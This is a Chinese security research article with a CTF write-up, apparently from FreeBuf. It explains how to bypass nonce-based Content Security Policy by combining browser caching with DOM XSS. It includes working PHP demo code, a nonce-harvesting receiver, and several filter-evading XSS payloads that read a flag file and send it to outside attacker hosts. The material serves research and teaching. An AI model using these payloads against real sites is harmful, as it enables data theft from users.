通过浏览器缓存来bypass nonce script CSP

2017-05-08 182486人围观 WEB安全

* 本文原创作者:LoRexxar,本文属于FreeBuf原创奖励计划,未经许可禁止转载

最近看了去年google团队写的文章CSP Is Dead, Long Live CSP!,对csp有了新的认识,在文章中,google团队提出了nonce-{random}的csp实现方式,而事实上,在去年的圣诞节,Sebastian 演示了这种csp实现方式的攻击方式,也就是利用浏览器缓存来攻击,现在来详细分析下。 

漏洞分析

原文查看:http://sirdarckcat.blogspot.jp/2016/12/how-to-bypass-csp-nonces-with-dom-xss.html

国内的翻译(只有翻译):http://paper.seebug.org/166/

首先我需要个demo

首先是实现了nonce script的站,然后包含了因为是利用了浏览器缓存,所以我们不能对页面发起请求,因为发起请求之后,后台就会刷新页面并刷新nonce的字符串,符合条件的只有3种。

1. 持久型 DOM XSS,当攻击者可以强制将页面跳转至易受攻击的页面,并且 payload 不包括在缓存的响应中(需要提取)。

2. 包含第三方 HTML 代码的 DOM XSS 漏洞(例如,fetch(location.pathName).then(r=>r.text()).then(t=>body.innerHTML=t);)

3. XSS payload 存在于 location.hash 中的 DOM XSS 漏洞(例如 https://victim/xss#!foo?payload=)

这里首先我们需要一个开启了nonce script规则的站,并加入一个xss点

/csp/test.php

<?php

function random_string( $length = 8 ) { 

  $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; 

  $password = ''; 

  for($i = 0; $i < $length; $i++)

  { 

    $password .= $chars[ mt_rand(0, strlen($chars) - 1) ]; 

  } 

  return $password; 

$random = random_string(12);

header('Content-Security-Policy: default-src \'none\'; script-src \'nonce-'.$random .'\';');

header('Cache-Control: max-age=99999999');

?>

<script nonce='<?php echo $random;?>'>document.write('URL ' + unescape(location.href))</script><script nonce='<?php echo $random;?>'>console.log('another nonced script')</script>

 iframe引用

然后我们需要利用iframe引入这个页面,并对其发起请求获取页面内容,这里我们通过向其中注入一个<textarea>标签来吃掉后面的script标签,这样就可以获取内容。


attack.php

<iframe id="frame" src="[http://127.0.0.1/ctest/csp/test.php#](http://127.0.0.1/ctest/csp/test.php#)<form method='post' action='[http://127.0.0.1/ctest/nonce_receiver.php](http://127.0.0.1/ctest/nonce_receiver.php)'><input type='submit' value='test!'><textarea name='nonce'>"></iframe>

<script>

  function getNonce() { 

    var xhr = new XMLHttpRequest();

    xhr.open("GET", "nonce_receiver.php", false);

    xhr.send();

    return xhr.responseText;

  }

  setTimeout(pollNonce, 1000);

  function pollNonce() {

    var nonce = getNonce();

    if (nonce == "") {

      setTimeout(pollNonce, 1000);

    } else {

      attack(nonce);

    }

  }

  function attack(nonce) {

    var iframe = document.createElement("iframe");

    var url = "[http://127.0.0.1/ctest/csp/test.php#](http://127.0.0.1/ctest/csp/test.php#)"

    var payload = "<script nonce='" + nonce + "'>alert(document.domain)</scr" + "ipt>"

    var validationPayload = "<script>alert('If you see this alert, CSP is not active')</scr" + "ipt>"

    iframe.src = url + payload + validationPayload;

    document.body.appendChild(iframe);

  }

</script>

获取nonce字符串

然后我们需要一个页面去获取nonce字符串,为了反复获得,这里需要开启session。

<?php

session_start();

if(!empty($_POST)){

$message = $_POST['nonce'];

preg_match('/(nonce=\')\w+\'/', $message, $matches);

$nonce_number = substr($matches[0], 7, -1);

$_SESSION['nonce'] = $nonce_number;

echo $nonce_number;

}else if(!empty($_SESSION['nonce'])){

echo $_SESSION['nonce'];

}

?>

一切就绪了,唯一的问题就是在nonce script上,由于csp开启的问题,我们没办法自动实现自动提交,也就是攻击者必须要使按钮被点击,才能实现一次攻击。

Image

nonce绕过实例-pwnhub绝对防御

为了研究整个漏洞的限制性,我专门写了一个pwnhub的题目。题目环境大概是这样的。

前台是个聊天版,可以发给任何人,有简单的xss过滤,但是可以随便绕过

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在admin的聊天版里可以找到后台的信息,通过构造任意xss获得后台地址。

Wow, good guys,maybe you want /adminshigesha233e3333/#admin

打开看一眼发现敏感信息

Image

右键看源码是这样的

Image

存在dom xss,看看返回头还可以发现更多信息。

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服务端不但开启了最新版的nonce csp,而且还开启了浏览器缓存

这就让我们有了可乘之机,就如同上面提到的一样,如果我们仅修改location.hash,浏览器不会请求服务器,那么nonce string就不会更换。

那么思路就很清楚了,我们可以在主站构造xss,先开iframe请求admin目录的,获取到nonce值后,再新建一个iframe,添加带有nonce字符串的iframe窗口,执行任意xss

<iframe src="/adminshigesha233e3333#a"></iframe>

<scrscriptipt>

window.oonnload=setTimeout(functioonn(){

 var f=document.getElementsByTagName("iframe")[0];

 var

n=f.coonntentWindow.document.getElementsByTagName("scrscriptipt")[0].

getAttribute("noonnce");

 coonnsole.log(n);

 var f2=document.createElement("iframe");

 var u="/adminshigesha233e3333#";

 var p="<scr"+"ipt noonnce='"+n+"'

src='../static/js/jquery.min.js'></scr"+"ipt><scri"+"pt

noonnce='"+n+"'>$.get('/adminshigesha233e3333/flag.php',functioonn(da

ta){top.locatioonn.href='//x.x.x.x/?c='+escape(data)});</scr"+"ipt>";

 f2.src=u+p;

 document.body.appendChild(f2);

},1000);

</scrscriptipt>

总结

但是让我回过头来总结下上面的利用条件:

1、目标站开启了缓存机制。

2、目标站同源下存在未被csp保护的存在xss的站点。

但事实上,我们本可以用更简单的方式获得目标站的flag,比如构造一个iframe引入flag.php,然后读iframe内容,在同源的情况下是允许的。

payload如下


<iframe src="./adminshigesha233e3333/#<iframe src='./flag.php' id=xss>" id=xss2>

<scscriptript>

functioonn x(){

 var inner =

document.getElementById("xss2").coonntentDocument.getElementById("xss").coonntentDocum

ent.body.innerHTML;

var xml = new XMLHttpRequest();

xml.open('POST', '[http://52.80.63.91/api/addmessage.php](http://52.80.63.91/api/addmessage.php)', true);

xml.setRequestHeader("Coonntent-type","applicatioonn/x-www-form-urlencoded");

xml.send('to=sss&message='+escape(inner));

};

 setTimeout("x()",2000);

 </scscriptript>

那么如果admin站点和xss站点非同源呢?由于同源策略的影响,你不能从父窗口获取子窗口的内容,那么就只能通过点击劫持的方式,来发送请求,payload如前面漏洞分析时讲到的。

payload如下

<iframe id="frame" src="[http://52.80.63.91/adminshigesha233e3333/#](http://52.80.63.91/adminshigesha233e3333/#)<form method='post' actioonn='[http://115.28.78.16/noonnce.php](http://115.28.78.16/noonnce.php)'><input type='submit' value='test!'><textarea name='noonnce'>"></iframe>

<scriscriptpt>

  if(locatioonn.pathname != "/xsstest_new/api/getmessage.php"){

    window.locatioonn.href = "http://" + document.domain + "/xsstest_new/api/getmessage.php"

  }

  functioonn getNoonnce() { 

    var xhr = new XMLHttpRequest();

    xhr.open("GET", "[http://115.28.78.16/noonnce.php](http://115.28.78.16/noonnce.php)", false);

    xhr.send();

    return xhr.respoonnseText;

  }

  setTimeout(pollNoonnce, 1000);

  functioonn pollNoonnce() {

    var noonnce = getNoonnce();

    if (noonnce == "") {

      setTimeout(pollNoonnce, 1000);

    } else {

      attack(noonnce);

    }

  }

  functioonn attack(noonnce) {

    var iframe = document.createElement("iframe");

    var url = "[http://52.80.63.91/adminshigesha233e3333/#](http://52.80.63.91/adminshigesha233e3333/#)"

    var payload = "<scriscriptpt noonnce='" + noonnce + "'>var xmlhttp = new XMLHttpRequest(); xmlhttp.open(\\"GET\\", \\"flag.php\\", false); xmlhttp.send(); var mess = xmlhttp.respoonnse; var xhr = new XMLHttpRequest(); locatioonn.href=\\"[http://0xb.pw?](http://0xb.pw?)\\"+mess;</scr" + "ipt>";

    iframe.src = url + payload;

    document.body.appendChild(iframe);

  }

</script>

如果被攻击者点击提交按钮,那么攻击者就可以获取想要的所有信息了。

回顾漏洞,我们不难发现整个漏洞处处都受到同源策略的限制,而且如果在chrome环境下,还会受到xss auditor的限制,所以虽然nonce script csp存在理论被绕过的可能,但是被作为CSP的新解决方案来说,前景仍然光明。

* 本文原创作者:LoRexxar,本文属于FreeBuf原创奖励计划,未经许可禁止转载

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